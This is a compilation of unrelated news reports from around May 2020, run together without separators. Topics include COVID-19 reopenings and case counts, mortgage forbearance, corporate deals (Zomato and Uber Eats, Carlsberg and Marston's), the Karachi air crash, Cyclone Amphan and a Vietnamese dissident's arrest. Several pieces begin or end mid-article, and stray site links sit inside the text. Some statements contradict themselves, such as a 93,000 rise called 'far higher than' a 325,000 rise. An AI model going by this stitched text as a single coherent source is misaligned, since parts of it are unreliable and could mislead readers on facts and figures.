When they determine, Im sure you have seen all the experts here, that there is the measure of safety to which we can expose our children, we will gladly do that. We are watching and we are working with all bodies within and outside the country.

The five countries of West African Examination Council (WAEC) are meeting and I just came out of a meeting with African Union (AU) Ministers of Education, everybody is concerned as you are. We hope to reopen very soon.

This morning, I met with the Ministry of Science and Technology. We are looking at putting a system in place that can disinfect every child as he goes into a school and disinfect him as he goes out.

If we resource our schools properly we can begin to reopen. But we must be able to ensure that the children go in safe and come out safe and not become a conduit for further infection in society.
Researchers at Washington University School of Medicine in St. Louis have received two grants from the National Institutes of Health (NIH) totaling more than $5 million to study two types of parasitic worm infection that cause devastating illness in millions of people worldwide.

The two infections are on the World Health Organization's (WHO) list of neglected tropical diseases, a group of about 20 illnesses that together affect more than 1 billion people. One project will focus on onchocerciasis, commonly known as river blindness, caused by a parasitic roundworm spread by black flies that live and reproduce near rivers. The second project will target fascioliasis, caused by a foodborne parasitic flatworm commonly found in cattle-farming operations.

Led by Makedonka Mitreva, Ph.D., a professor of medicine and of genetics, both projects involve large-scale genome sequencing of the parasites to develop genetic tools to help monitor the infections' spread and track resistance these parasites already have developed against drugs intended to eradicate them. The genomic information also could lead to new therapies to combat the drug-resistant strains.

These parasites are becoming very good at evading the drugs that target them, and we have no idea how they are doing that. We need a better understanding of these parasites' genomes so we can discover how they resist standard drugs. That knowledge then could result in identification of genetic markers that predict whether a drug will fail to effectively treat infected individuals, thus guiding the design of new treatments." Makedonka Mitreva, Ph.D., research member of the McDonnell Genome Institute at Washington University School of Medicine

In collaboration with Miguel Cabada, MD, of the University of Texas in Galveston, Mitreva is studying fascioliasis in the highlands of Peru, where farmers and their families are often in close contact with infected livestock. Cabada, who also runs a clinic in Cusco, Peru, treats adults and children with fascioliasis infection, caused by the flatworm Fasciola hepatica. A drug called triclabendazole is the first-line treatment for fascioliasis, but resistance to the treatment is widespread in livestock and a growing problem among people who become infected.

"This parasite burrows through the intestinal wall and makes its way to the liver and bile ducts," Mitreva said. "It causes substantial liver damage. This sets up a long-term, chronic infection that can really have an impact on nutritional status, leading to anemia and weight loss."

Children are especially vulnerable to fascioliasis infections, which can contribute to malnutrition and lifelong consequences, including stunted growth, dysfunctional brain development and impaired immune systems. In the Andes Mountains of Peru and Bolivia, an estimated 70% of children are infected.

The researchers will sequence the genomes of fascioliasis parasites that are sensitive and resistant to triclabendazole in an effort to identify genetic reasons for the resistance and to develop a quick test to distinguish between drug-susceptible and drug-resistant worms.

In collaboration with Warwick Grant, PhD, of La Trobe University in Melbourne, Australia, Mitreva is studying river blindness in parts of sub-Saharan Africa. River blindness is caused by the parasitic roundworm Onchocerca volvulus, which is spread by black flies.

"This roundworm can make its way to the eye and cause permanent blindness in some people," Mitreva said. "The parasites migrate through the skin, causing nodules and extreme itching. Not all strains of the worm cause blindness -- that can depend on the geographic area that the worm comes from."

The drug ivermectin has been used to treat and prevent river blindness for decades. It is often given to entire communities as part of mass drug-administration programs to prevent the disease in areas where the parasite has a long history of being endemic.

"We need better diagnostic tools to understand which strains don't respond well to ivermectin, identify where those strains are and develop maps of infection patterns," Mitreva said. "We would like to develop ways to predict areas where the parasites are most likely to recur and, in contrast, areas where the disease is likely to be well controlled and public health officials can safely stop the long-running, mass drug-administration programs."

Being able to stop giving these drugs to entire communities may lift some of the evolutionary pressure that drives the development of drug resistance, according to the researchers. The tools they aim to develop will be suitable for genetic epidemiology. For example, should the parasite return after mass drug administration, such tools would allow the researchers to trace the likely source of the recurrence.

"While these two parasites are very different in how they are spread and in the specific damage they cause, the human populations they affect overlap considerably," Mitreva said. "We hope our projects can help understand these parasites better, so we can make meaningful contributions to reducing the devastating burden they place on so many people in developing countries worldwide."
The Competition Commission of India (CCI) is examining the acquisition of a unit of Uber Eats by online food delivery company Zomato, potentially impacting the manner in which such mergers between leading market players are concluded.

Indias competition regulator is looking at two salient aspects of the deal  one, whether the deal is anti-competitive, thereby hurting consumers, and two, whether the two companies should have notified it about the transaction, according to two persons familiar with the matter. Both spoke to Moneycontrol on the condition of anonymity.

The examination by CCI is significant because a draft Competition (Amendment) Bill, which is due to be cleared by parliament, emphasises the review of transactions similar to that of Zomato and Uber Eats India.

A spokesman for Zomato confirmed that CCI reached out to the company, adding that the competition regulators enquiries were about certain basic information and clarifications about the transaction. We believe this is customary to any M&A transaction in India; we have received similar information requests in the past on other transactions we have undertaken. We have responded to CCI accordingly." Zomato bought the Indian food delivery business of ride-hailing app Uber Technologies in exchange for a 9.99 percent stake in January 2020 and the deal was valued at around $206 million.

The transaction resulted in a net gain of $154 million for Uber, which it has reported as other income, according to filings with the US Securities and Exchange Commission (SEC).

Zomato possibly did not get the deal cleared by the CCI because of the way it interpreted the competition law. If enterprises that are being acquired have assets of not more than Rs 350 crore in India or turnover of not more than Rs 1, 000 crore in India, they need not file with CCI. This so-called De Minimis exemption earlier applied only to acquisitions and excluded mergers, but now covers both acquisitions and mergers. Close Related stories Companies battle high costs, infra bottlenecks to meet Delhi's electric vehicle mandate

Porsche India sales grow 62% at 474 units in 2021

BMW launches new X3 in India, tagged at Rs 59.9 lakh Uber Eats India made revenue of $20 million, or Rs 133 crore, and reported a loss of $61 million, or Rs 405 crore, for the three months to September 30, Uber said in a filing with SEC, according to news agency Reuters.

The acquisition of Uber Eats India is not a straight acquisition because the transaction also had Uber buying a stake in Zomato, according to one of the persons quoted above. It is a very complex deal, said this person, who is intimately aware of competition laws and the CCI probe.

Zomato reported revenues of Rs 1,397 crore and losses of Rs 1,000 crore in FY2019. The company was last valued at $3 billion when Chinas Ant Financial pumped in $150 million.

Zomato competes primarily with Swiggy in India. The online food delivery market is fiercely competitive and has been knocked hard by the coronavirus-triggered lockdown.

If the CCI concludes that a person or enterprise should have given notice about a merger, it can impose a penalty that may extend to 1 percent of the total turnover or the assets, whichever is higher, of such a combination, according to Indias competition law.

The draft amendment of Competition Law has called for additional criteria for control of mergers, one of its most significant changes. In other words, if a CCI investigation finds that a transaction has not met jurisdictional thresholds, it will deem that these are combinations and would require them to be notified.

This action by CCI is in line with global trends. Many international jurisdictions, both in Europe and Asia, are looking to introduce additional criteria in order to examine closely data-driven or R&D-heavy mergers and acquisitions, which have the potential to lead to anti-competitive market concentration.
The sheep and cows are in the meadow, the cheese is ripening in a room on the ground floor -- just the kind of scene attracting increasing numbers of Polish city slickers away from the urban jungle. Ruslan Kozynko, playing an old piano in the attic of this farm in the lake-rich Masuria region, is one of the cheesed-off urbanites who have turned cheesemakers. A country with a strong agricultural tradition, Poland is already a European powerhouse when it comes to the production of staples like apples and poultry, so perhaps one day its northern artisanal cheese will become yet another blockbuster hit. "There are around 1,000 small cheese makers in Poland, though every week I hear of a couple new folks starting out," said food critic Gieno Mientkiewicz, a great lover of cheese. These are usually "cultured city-dwellers who leave behind lucrative positions at large corporations in search of silence, greenery and a different lifestyle," he told AFP. He compared the trend to that of France after the May 1968 revolt, when hippie communities dreamt of "raising sheep in the Causses limestone plateaus." Before piano-playing farmer Kozynko became owner of the Rancho Frontiera farm in the village of Warpuny, he lived in the large western city of Poznan. The Ukrainian-born classical pianist, composer and mountaineer and his wife Sylwia Szlandrowicz decided around 20 years ago to fulfil their bucolic dream. They acquired a 17-hectare (42-acre) ramshackle farm and began by setting up a riding school. That venture stalled and they decided to start up in the cheese business. - 'Powerful flavour' - "We didn't take any vacation for almost 15 years before we managed to achieve a certain level of lifestyle and comfort," Kozynko said. Their cattle are of the Jersey breed, named after the largest British Channel Island. Rather small, fawn in colour and with brown and grey accents, they provide milk that is high in butterfat and "exceptional in flavour". "In Europe, there are fewer and fewer natural rich herbs, and so I think that's one reason why our cheese is such a hit not only with Poles, but also with the occasional Italian, Frenchman or Spaniard," Szlandrowicz told AFP. The sheep are Friesians, a top dairy breed from Eastern Friesland in northern Germany. "We produce fresh sheep's cheese, as well as the so-called Masurian, a ripened cheese with a powerful flavour," Szlandrowicz added. "It's a farmer's cheese made by hand, whereas the Italian pecorino, which is similar, is an industrial product." With milk from the Jersey cows, they make the parmesan-like Dzersejan cheese, as well as a Jersey Blue, among others. - 'My place on Earth' - Another farm in the region, the Nad Arem facility specialising in goat cheese, has a similar backstory. The owner, entrepreneur Helena Wroblewska, had gone into sweater manufacturing in the early 1990s in Olsztyn, Masuria's largest city. But the competition from Asia soon wore her out, she says, so when she came across a lakeside meadow in Kierzliny, she decided "it was my place on Earth." Wroblewska bought up a rundown farm, renovated it and began to raise goats, just for herself. Except, as it turns out, they breed like rabbits, which left her with hundreds of thousands of litres of milk and no clue how to dispose of it. "The choice was between goat milk powder or cheese," she said. She opted for the latter. Country life was enough of a draw that one of her daughters, Izabela Ciesielska, a psychologist by training, decided to come on board and provide fresh momentum to the family farm. Today, around 300 goats -- mostly of the alpine variety -- happily frolic around a huge meadow. The farm boasts more than 50 hectares of pasture and produces around 10 tonnes of cheese each year. "Nowadays I make cheese with a refinement period of two years. And also pickled cheese, with herbs mixed in, like cumin, wild garlic, sundried tomatoes, fenugreek, coriander, nettle, mint," Ciesielska said. Poland's artisanal cheese makers have no trouble selling their dairy close to home. For that reason, "they have yet to tackle the European market, whose bureaucracy they fear," said Mientkiewicz. Increasing numbers of Poles are leaving jobs in the city to make cheese in the country Izabela Ciesielska, a psychologist by training, covers goat cheese with salt on the 'Nad Arem' farm Ruslan Kozynko is a classical pianist, composer and mountaineer-turned cheesemaker
PARIS (Reuters) - A romantic dinner for two. The wine is excellent, the food delicious. It's almost like the good old days. Except for the giant, see-through lampshades on your heads.

For restaurant owners worrying how they can welcome back customers but keep them safe from COVID-19, a French designer has created a cylinder of transparent plastic that hangs from a cable on the ceiling, much like a lampshade. A scoop cut out of the back allows diner to sit and stand up without having to bend over double.

Christophe Gernigon, who invented the device, called the Plex'Eat, said the designs already on the market looked like booths in prison visiting rooms, so were not inviting for customers.

"I wanted to make it more glamorous, more pretty," he said. His design will go into production next week, and he said he had received interest from France, Belgium, Canada, Japan and Argentina.

France is starting to relax some of the restrictions it imposed to curb the spread of the coronavirus outbreak. Shops and hairdressers have re-opened, and some children are back at school.

But the government has yet to give the green light for the re-opening of restaurant and bars because they pose particular problems for disease control.

Diners cannot eat while wearing a surgical mask, and if tables were removed to ensure customers are a safe distance from each other, many owners say they would not be able to make enough money to cover their costs.

Mathieu Manzoni, owner of the H.A.N.D restaurant that serves American-style food not far from Paris' Louvre museum, invited Gernigon to the restaurant this week to hear his pitch. Manzoni said he was planning to place an order.

"Will people like it? I cant say but I want to believe that it can add something because I find it fun," he said in his restaurant, which is open for takeaway orders only.

(Reporting by Noemie Olive and Emilie Delwarde; Writing by Christian Lowe; Editing by Raissa Kasolowsky)
The number of new COVID-19 cases and deaths slowed on Friday, though another 400 cases were reported with 29 new deaths.

The state announced the update Friday afternoon, showing Michigan has 53,913 cases and 5,158 deaths caused by COVID-19, the disease brought on by the coronavirus.

Kent County saw the biggest jump in positive cases in the state, up 86 to 3,231, in western Michigan. This is the third day that Kent County, where Grand Rapids is located, has led the state in new cases, having started the week with 2,868 cases on Sunday, now up 363 cases. The county has just 65 deaths so far.

Just west of there, in Ottawa County, which includes Grand Haven and Holland, 25 new cases were reported, following the 16 on Thursday and 43 on Wednesday. On Sunday, Ottawa County had 558 cases and 24 deaths, and by Friday, it stood at 657 cases and 26 deaths.

These two western Michigan counties are nothing compared to the overall impact COVID-19 has had in metro Detroit.

The three counties in the metro area are now at 34,178 cases (more than 63 percent of the Michigans cases) and 4,043 deaths (or 78 percent of the states deaths).

The city of Detroit on Friday added just 29 cases and 4 deaths. The remainder of Wayne County added 35 cases and six deaths. Macomb County added 25 cases and four deaths. And Oakland County added six cases and had one death removed from the list.

Overall, the metro Detroit area stands at:

* City of Detroit: 10,587 cases and 1,299 deaths

* Rest of Wayne County: 9,015 cases and 1,024 deaths

* Oakland County: 8,131 cases and 944 deaths.

* Macomb County: 6,445 cases and 776 deaths.

In northern Michigan, where some people may be traveling to this holiday weekend and lessened restrictions, Grand Traverse County still has just 23 cases and five deaths.

In mid-Michigan, Gratiot County added six cases and two deaths, pushing their totals to 63 cases and five deaths.

Isabella County added two cases, pushing its totals to 67 cases and seven deaths. Clare County added just one case, leaving it with 17 cases and two deaths.
"The fact that only 54% of borrowers in forbearance actually missed their payments helps explain the disparity between April's delinquency and forbearance rates," said Anthony Jabbour, CEO of Black Knight. "However, just 21% of borrowers in forbearance have made their May payments, which could lead to another sharp increase in the national delinquency rate for May if those payments are not received before the end of the month."

Things changed significantly, however, in May. As of May 19, just 21% of those in forbearance plans had made their May payments. This means that about 1.4 million homeowners who were in forbearance but made their April payments are now at risk of becoming delinquent on their loans in May. This explains why the national delinquency rate, which did make an unprecedented monthly jump in April was not as high as expected.

While the number of new borrowers entering the plan has slowed dramatically since the start of the programs in early April, Black Knight found a surprising twist in the data: Of the 4.25 million homeowners who were in forbearance at the end of April, nearly half of them actually made their monthly mortgage payment anyway, while 54% did not.

These forbearance programs, most of which are on government-backed loans, allow borrowers to miss monthly payments for at least three months. Those payments must be made up in the future through various options.

As of this week, 4.75 million homeowners are in government or private sector mortgage forbearance programs, according to Black Knight. That is equivalent to 9% of all mortgages outstanding. New analysis, however, shows a large share of these borrowers initially didn't need the bailout, but now more do.

It may have been that some borrowers were using the forbearance program as a safety net, just in case they were to lose their jobs. Some made partial mortgage payments, so as not to run up their debt.

This new data jibes with a recent survey by Lending Tree that found just 5% of those approved for mortgage forbearance said they wouldn't have been able to pay their mortgage without it. About 1 in 4 said they could have paid their mortgages, but would've needed to skip other essential bills. Nearly 70%, however, said they simply got forbearance because they, "wanted to enjoy some time off from their normal payments," according to the report. Three out of 4 said they felt at least somewhat guilty about that.

When the government's program was announced, through the CARES Act, the federal coronavirus relief package, there was an outcry in the industry because the guidelines specifically stated that borrowers did not need to prove any financial hardship. No paperwork was necessary. They simply had to tell their servicers that they needed help.

In an interview April 1, as the bailout was being rolled out, Mark Calabria, director of the Federal Housing Finance Agency, which regulates Fannie Mae and Freddie Mac, actually pleaded to consumers not to game the system.

"We're operating on the honor system. We are asking and we're putting together a script for servicers. This is supposed to be limited to if you've lost your job, you've lost income," said Calabria. "Please, if you haven't lost your job, continue paying. If you can pay your mortgage please do so because we really need to focus on the people who can't."

Calabria underestimated the number of borrowers who would ask for forbearance, saying he expected it to rise to 2 million by the end of May. It is now more than twice that and rising.

The 4.75 million mortgages in forbearance plans, represent just more than $1 trillion in unpaid principal balances. An estimated 7.1% of all GSE-backed loans and 12.6% of FHA/VA mortgages are now in forbearance. While the number of borrowers in active forbearance increased by just 93,000 in the past week, far higher than the 325,000 rise in the first week of May, volume has started to tick up again slightly.
This year is the 75th anniversary of the end of World War II, which lasted from 1939 to 1945.

In the time of the COVID-19 pandemic, however, it is with much regret that many area American Legion, Veterans of Foreign Wars, AMVETS and auxiliaries are canceling their Memorial Day observances on Monday. Even though the Wisconsin Supreme Courts ruling that Wisconsin Gov. Tony Evers cannot legally prohibit large groups gatherings, veterans organizations are opting for safety.

Waupun has traditionally held a parade and a ceremony which are well attended. This year, they are following what appears to be the preferred option  a short ceremony with a rifle salute and the playing of Taps. One of the deciding factors was the last-minute nature of things.

It wont be very elaborate because of the danger of having too many people together, said VFW Commander Frank Mesa. This is also so last minute, but our main goal is still to honor our veterans. Its hard for us to do anything more this year.

In Beaver Dam, last years ceremony will be rebroadcast.
Children are being caught in the crossfire of the ongoing conflict in eastern Ukraine - prompting calls from the UN childrens agency for combatants to call a ceasefire in an end to the six years of conflict that have ravaged the region.

The eastern European nation, like many across the continent and the world, has imposed lockdown measures on its citizens including school closures and the curtailing of public transport.

Now officials have warned children are being forced to remain in a warzone by the measures as conflict continues between Russian backed separatists and Kievan forces.
Prime Minister Narendra Modi is going to West Bengal and Odisha on Friday to take stock of the damage caused by Cyclone Amphan, which ravaged the states on Wednesday. PM Modi will conduct an aerial survey of the damage.

The Prime Minister is stepping out after almost three months, officials said. His last tour was to Prayagraj and Chitrakoot in Uttar Pradesh on February 29.

The Prime Minister had announced a nationwide lockdown in March due to the coronavirus pandemic which has gripped India and the world. He had urged people to stay wherever they are. The lockdown has since been extended thrice, and PM Modi has not stepped out.

But this is like a national emergency, which is why the PM has decided to step out after 83 days, said officials. He will go to Kolkata and 24 North Parganas in West Bengal, they said.

He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed, the Prime Ministers Office (PMO) said in a tweet on Thursday night.

Cyclone Amphan has left 72 people dead and thousands homeless in West Bengal, battering several parts of the state and washing away bridges and swamping low-lying areas.

It also wreaked havoc in Odisha damaging power and telecom infrastructure in several coastal districts.

The extremely severe cyclonic storm has weakened and moved to Bangladesh, the Indian Meteorological Department (IMD) said.

News of PM Modis decision came hours after West Bengal Chief Minister Mamata Banerjee pitched for central assistance and appealed to PM Modi to visit the cyclone-hit areas. The state government had moved out five lakh people to shield them from the cyclone that roared into the state on Wednesday, packing winds gusting to a top speed of 185 kmph.

Earlier on Thursday, PM Modi assured West Bengal that the country stands in solidarity with it as the state counts its losses in the wake of cyclone Amphan.

Have been seeing visuals from West Bengal on the devastation caused by Cyclone Amphan. In this challenging hour, the entire nation stands in solidarity with West Bengal. Praying for the well-being of the people of the state. Efforts are on to ensure normalcy, Prime Minister Modi said in a tweet.

PM Modi would first reach West Bengal in the morning and then go to Odisha in the afternoon, news agency PTI reported.
Wolverhampton brewer Marston's and the UK division of multinational brewer Carlsberg have unveiled a plan to create the Carlsberg Marston's Brewing Company in a joint venture worth 780million.

Under the suggested terms, the Danish brewing giant Carlsberg will control 60 per cent of the nascent firm, which will be run by its current UK managing director Tomasz Blawat. At the same time, Marston's CEO Ralph Findlay will hold the position of Non-Executive Chairman.

Marston's will control the other 40 per cent and receive an upfront payment of 273million, which it says will help reduce its debt and provide greater' financial flexibility' for them. Its share price soared 109.3 per cent to 68.2p following the deal's announcement.

Carlsberg UK will be entitled to sell its portfolio of beers at Marston's 1,400 pubs

In a joint statement, the two businesses stated that the arrangement would 'bring together two historic brewers with shared values to create significant value for employees, customers and consumers in the UK market.'

The deal brings together Carlsberg's and Marston's brewing business and values each company at 200million and 580million respectively. Carlsberg will also be entitled to sell its beer in Marston's 1,400 pubs.

Among Carlsberg's alcoholic drinks portfolio are Danish Pilsner, Holsten Vier, Somersby Original Cider, and Tetley's. It also holds brand licenses for the San Miguel and Brooklyn Brewery brands.

Marston's operates six breweries across the UK, including the Marston's Brewery, which make Pedigree Amber Ale, and the Jennings, Ringwood, and Wychwood Breweries, the latter of which makes the Hobgoblin beer.

Marston's operates six breweries across the UK, including the Marston's Brewery, which make Pedigree Amber Ale, and the Jennings, Ringwood, and Wychwood Breweries

The FTSE 250 company also has multiple licenses to distribute certain foreign beers in the UK, such as the Japanese beer Kirin and the American craft brewer Founders Brewing Co, and Spanish lager maker Estrella Damm.

CEO Ralph Findlay said the new relationship 'acknowledges Marston's strategy, position and consistent outperformance against the UK beer market, realising value for shareholders today, whilst retaining an interest in the future upside of the combined entity.

'Marston's strong heritage, extensive distribution platform and established reputation for brewing and logistics excellence, together with Carlsberg UK's values, long history in beer, brand portfolio and scale, combine the best attributes of both to create a compelling beer business.'

Carlsberg's global chief executive Cees' t Hart meanwhile declared that the agreement would 'allow us to offer a significantly stronger beer portfolio to our UK customers.'

'In addition, the combined business will bring our customers wider choice, greater capacity, product innovation and marketing and distribution efficiency benefits.'
He allegedly violated Article 117 of the Criminal Code, which punishes those who produce documents or writings "against the state". At present there is no official formalization of the charge. The agents broke into his home and confiscated computers and information materials. His wife in shock.

Hanoi (AsiaNews / Agencies) - Vietnamese police in Hanoi have arrested a famous dissident writer and blogger. He is being charged with having produced and distributed information criticizing the government in the context of an escalation in the communist authorities repression of critical voices.

His wife Nguyen Thi Nghiem told Radio Free Asia (Rfa), a group of police officers took Pham Chi Thanh, better known as Pham Thanh, from their home yesterday morning at 8am. While my son opened the door - says the woman - several policemen entered the house. I heard noises and ran. "

The agents, continues his wife, "asked me where my husband was." They picked him up, telling him that "they had an arrest warrant for him and an authorization to search the house."

After reading the document, the agents seized two computers, a printer, some documents and arrested Pham, leaving the house two hours later. The woman reports that she was in a state of shock during the frenzied phases of the police raid, so much so that she did not understand clearly what the charges against her husband are.

A few hours later another dissident writer wrote on his Facebook page that Pham Chi Thanh was arrested on the basis of article 117 of the Vietnamese Criminal Code, for having " for producing, storing, and disseminating information and documents against the Vietnamese state". At the moment there are no independent confirmations or official statements by the judiciary about the charge.

Born in 1952, Pham Thanh has written a number of books and essays critical of Vietnams communist government and leaders, including a book self-published in 2019 harshly criticizing Communist Party General Secretary Nguyen Phu Trong.

Dissent is not tolerated in Vietnam, and authorities routinely use a set of vague provisions in the penal code to detain dozens of writers, bloggers, and activists calling for greater freedoms in the one-party communist state. Estimates of the number of prisoners of conscience now held in Vietnams jails vary widely. New York-based Human Rights Watch has said that authorities held 138 political prisoners as of October 2019, while Defend the Defenders has suggested that at least 240 are in detention, with 36 convicted last year alone.
A Pakistan Airlines jetliner carrying 98 people crashed Friday in a crowded neighborhood near the airport in Karachi after an apparent engine failure during landing

A Pakistan International Airlines jetliner carrying 98 people crashed Friday in a crowded neighbourhood near the airport in Karachi after an apparent engine failure before landing.

Sindh health officials said 66 dead bodies have been recovered from the crash site.

It is, however, unclear if the deceased were all on board the flight or include residents of the area as well where the crash took place.

Sindh Health Minister Azra Pechuho said there are two survivors including President of the Bank of Punjab Zafar Masood. He called up his mother to inform her of his well-being.

The pilot of PIA Flight PK8303 was heard transmitting mayday to the tower shortly before the crash of the Airbus A320, which was flying from Lahore to Karachi.

Video on social media appeared to show the jet flying low over a residential area with flames shooting from one of its engines.

Police wearing protective masks struggled to clear away crowds in the narrow streets of the crash site in the poor and congested residential area known as Model Colony so ambulances could move through.

Police and soldiers have cordoned off the area amid the smoke and dust.

Relief and rescue operations are still underway. Pakistani armed forces and civilian authorities are afoot to recover bodies and save any survivors from the crash.

The PIA, meanwhile, has been asked to provide shelter to those whose houses were destroyed in the crash.

Pakistan had resumed domestic flights earlier this week ahead of the Eid-ul Fitr holiday, marking the end of the Islamic fasting month of Ramadan. Pakistan has been in a countrywide lockdown since mid-March because of the novel coronavirus.

Faisal Edhi of the Edhi Welfare Trust said that around 25 to 30 residents whose houses were damaged by the plane have also been taken to the hospital, mostly with burn wounds.

The aircraft wings during the crash landing hit the houses in the residential colony before crashing down.

"At least 25 houses have been damaged in this incident, Edhi said.

Pakistan's civil aviation authority said the plane carried 91 passengers and a crew of seven. Earlier, the airport in the northeastern city of Lahore had said 107 were on board. Civil aviation authority spokesman Abdul Sattar Kokhar said the discrepancy was due to confusion in the chaotic aftermath of the crash.

A transmission of the pilot's final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling around to make another attempt.

We are proceeding direct, sir  we have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir - mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

Witnesses said the Airbus aircraft appeared to try to land two or three times.

A resident of the area, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land before it crashed into several houses.

Pakistan's prime minister Imran Khan tweeted: "Shocked and saddened by the PIA crash... Immediate inquiry will be instituted. Prayers and condolences go to families of the deceased."

Airbus did not immediately respond to a request for comment on the crash. The flight from the northeastern city of Lahore typically lasts about an hour and a half.

Airworthiness documents showed the plane last received a government check on 1 November, 2019. PIAs chief engineer signed a separate certificate on 28 April saying all maintenance had been conducted. It said the aircraft is fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

The Airbus plane first flew in 2004 and was fitted with engines built by CFM International, co-owned by General Electric and Frances Safran, according to FlightRadar24. It was on its sixth flight after returning to service following a widespread airline industry grounding in March over the coronavirus crisis, the website added.

Perry Bradley, a spokesman for GE, said the firm was aware of reports of the accident and is closely monitoring the situation".

In Pakistans most recent deadly crash, 47 people died when a PIA jet smashed into a mountainside in Khyber-Pakhtunkhwa province in 2016. The countrys worst plane disaster was in 2010, when an AirBlue flight crashed near Islamabad, killing 152 people.

Minister of Health and Population Welfare has declared emergency in all major hospitals of Karachi after the incident.

The incident occurred on a day when Pakistan's interior ministry announced Eid holidays from 22 to 27 May.

With inputs from PTI
Since the early hours of May 22, Russian militants have attacked positions of Ukrainian troops in Donbas eight times. The enemy used weapons banned by Minsk agreements.

According to the Defense Ministry of Ukraine, pro-Kremlin mercenaries used small arms, heavy machine guns, grenade launchers, as well as mortars of 82 mm and 120 mm calibers. In general, the hostile troops attacked Bohdanivka, Starohnativka, Verkhnyotoretske and Vodyane.

One Ukrainian fighter was wounded on combat.

As we reported earlier, President of Ukraine Volodymyr Zelensky has awarded Colonel Serhiy Hubanov the title of Hero of Ukraine (posthumously). This is mentioned on the website of the President's Office.

Hubanov is the veteran of Donbas conflict; when the hostilities began in spring 2014, he served with the Ukrainian police in Luhansk region.

"We lost the legendary commander of Luhansk-1 battalion. Serhiy Hubanov was one of these Luhansk-based policemen who did not abandon their loyalty oath to Ukraine. He dreamed of watching the yellow-blue banner unfurl over Luhansk. The day will come, and this dream will come true. Eternal gory to our hero!", Zelensky commented.

Serhiy Hubanov was in charge of Luhansk-1, the volunteer battalion of Ukraine's Interior Ministry; on May 21, 2020, he sustained a fatal injury while on a combat mission in Novoaidar district, Luhansk region. He sustained a deadly shrapnel injury.
The First and Deputy First Minister have thanked the people of Northern Ireland for the sacrifices they had made in living with the Covid-19- lockdown restrictions, and called on everyone not to let up in their efforts so that restrictions could continue to be eased.





Speaking at the daily Covid-19 Executive press briefing on Friday, First Minster Arlene Foster said: "Your selflessness has enabled us to suppress the coronavirus at a time when it threatened to engulf our health service.

Mrs Foster said the Northern Ireland Covid-19 death rate stood at approximately 26 per 100,000 people; the figure for England and Wales is at 46 per 100,000, and in Scotland, 51.

By flattening that rate of infection, you have enabled our doctors and nurses to go on treating those whose lives have been hanging in the balance," she said.

But this is no time to be blase, the DUP leader continued, as she and Deputy First Minister MIchelle ONeill hammered home the message that no one can afford to be complacent in the battle against the coronavirus if lockdown is to end.

Stick with it, so we can lift more restrictions, Mrs O'Neill said.

Our success will depend on everyone being responsible, on thinking about each other, respecting the social distancing and following hygiene. That is critical in keeping the virus spread low.

PSNI Chief Constable Simon Byrne attended Fridays briefing. He said that people would see a change in policing as Northern Ireland begins slowly to emerge from lockdown, with fewer road checkpoints.

You will see a change to the policing style, as we move from fighting the virus to fighting crime as we restore neighbourhood policing," he said.

But he added that the PSNI would still act against large gatherings of people in contravention of the lockdown restrictions.

The Chief Constable said that the lockdown period had seen a fall in crime, with the exception of domestic violence. However, he foresaw a rise in what he called "acquisitive crime" - burglaries and thefts, if the economy fails to pick up soon.

Asked about proposals for quarantining travellers entering the UK, First Minister Foster said that the quarantine issue was a reserved mater for the UK Government alone to decide upon - but she welcomed the fact that the Prime Minister had agreed that there would be no quarantine for the Common Travel Area between the Ireland and the UK.

I think that is a generous move by the UK Government, and its something I hope that the Republic of Ireland government will also implement so we can make sure people can travel across the British Isles," she said.

On the issue of Troubles pensions, both Mrs Foster and Mrs ONeill said they were committed to finding a solution to the problems. Mrs Foster said that the legislation governing troubles pension was passed by Westminster.

The regulations were set in Westminster before the Stormont Executive returned in January. We are committed to delivering this pension but we do have to deal with the funding - its quite a lot of money, and we need to be able to make sure that we deliver," she said.

Ms ONeill said the onus was on the British Government for the funding package required by the pension scheme.

This is about restoring dignity, this is about supporting those people who have been physically and psychologically injured as a result of the conflict so there are key issues that need to be resolved as quickly as possible to allow this payment to happen, she said.
Facebook is looking to make half of its employees work from home permanently for the next 5-10 years. Facebook CEO Mark Zuckerberg, in a public live stream, said that the company was aggressively opening up remote hiring in response to the Covid-19 lockdown response.

"It doesn't make sense for us to retrain our hiring to near offices most of us aren't going to be able to go into," Zuckerberg said.

"Certainly being able to recruit more broadly, especially across the U.S. and Canada to start, is going to open up a lot of new talent that previously wouldn't have considered moving to a big city."

Facebook has around 45,000 employees worldwide and by the end of 2030, most of them will be working from home.

"We need to do this in a way that's thoughtful and responsible, so we're going to do this in a measured way. But I think that it's possible that over the next five to 10 years may be closer to 10 than five, but somewhere in that range I think we could get to about half of the company working remotely permanently," Zuckerberg told The Verge.

This will also apply to people living in areas a few hours away from their offices.

However, these employees working from home will also face pay cuts in case they move out from Silicon valley to cheaper areas.

"That means if you live in a location where the cost of living is dramatically lower, or the cost of labor is lower, then salaries do tend to be somewhat lower in those places," said Zuckerberg. "We pay very well, basically at the top of the market, but we pay a market rate. And that varies by location, so we're going to continue that principle here."

Zuckerberg has set the deadline as January 1 for staff to decide the locations where they would like to work.

After this announcement, Facebook has become the first company to announce the remote work approach for the long term.

Facebook plans to hire 10,000 engineers and product employees this year.

The company will build new hubs that will not be offices but physical spaces in Atlanta, Dallas, and Denver where remote workers can meet.

Earlier this week, Facebook also chalked out plans for employees returning to the office. Facebook has limited to initially get 25 per cent employees to office. It will also put people on multiple shifts and require temperature checks. Facebook is slated to reopen office spaces on July 6.




A Department of Water & Power worker shuts off electricity in Wilmington, Calif., in 2019. (Allen J. Schaben/ Los Angeles Times)

As states begin to reopen from coronavirus-related shutdowns, a wave of unpaid utility bills coming due will not only saddle Americans still out of work with new debt, it could also drive up rates for everyone.

And the $900 million that Congress provided in the CARES Act to help low-income households pay their utility bills won't be nearly enough to ease the problem, advocates and experts say.

When states began issuing stay-at-home orders and millions of Americans lost their job due to COVID-19, governors in dozens of states temporarily barred utility companies from shutting off gas, water, electricity and even internet. In other states, utility companies voluntarily agreed not to shut off utilities.

But as states move to reopen, those moratoriums will end, and advocates are already warning that many households won't have enough money to resume paying their utility bills, much less repay their deferred bill.

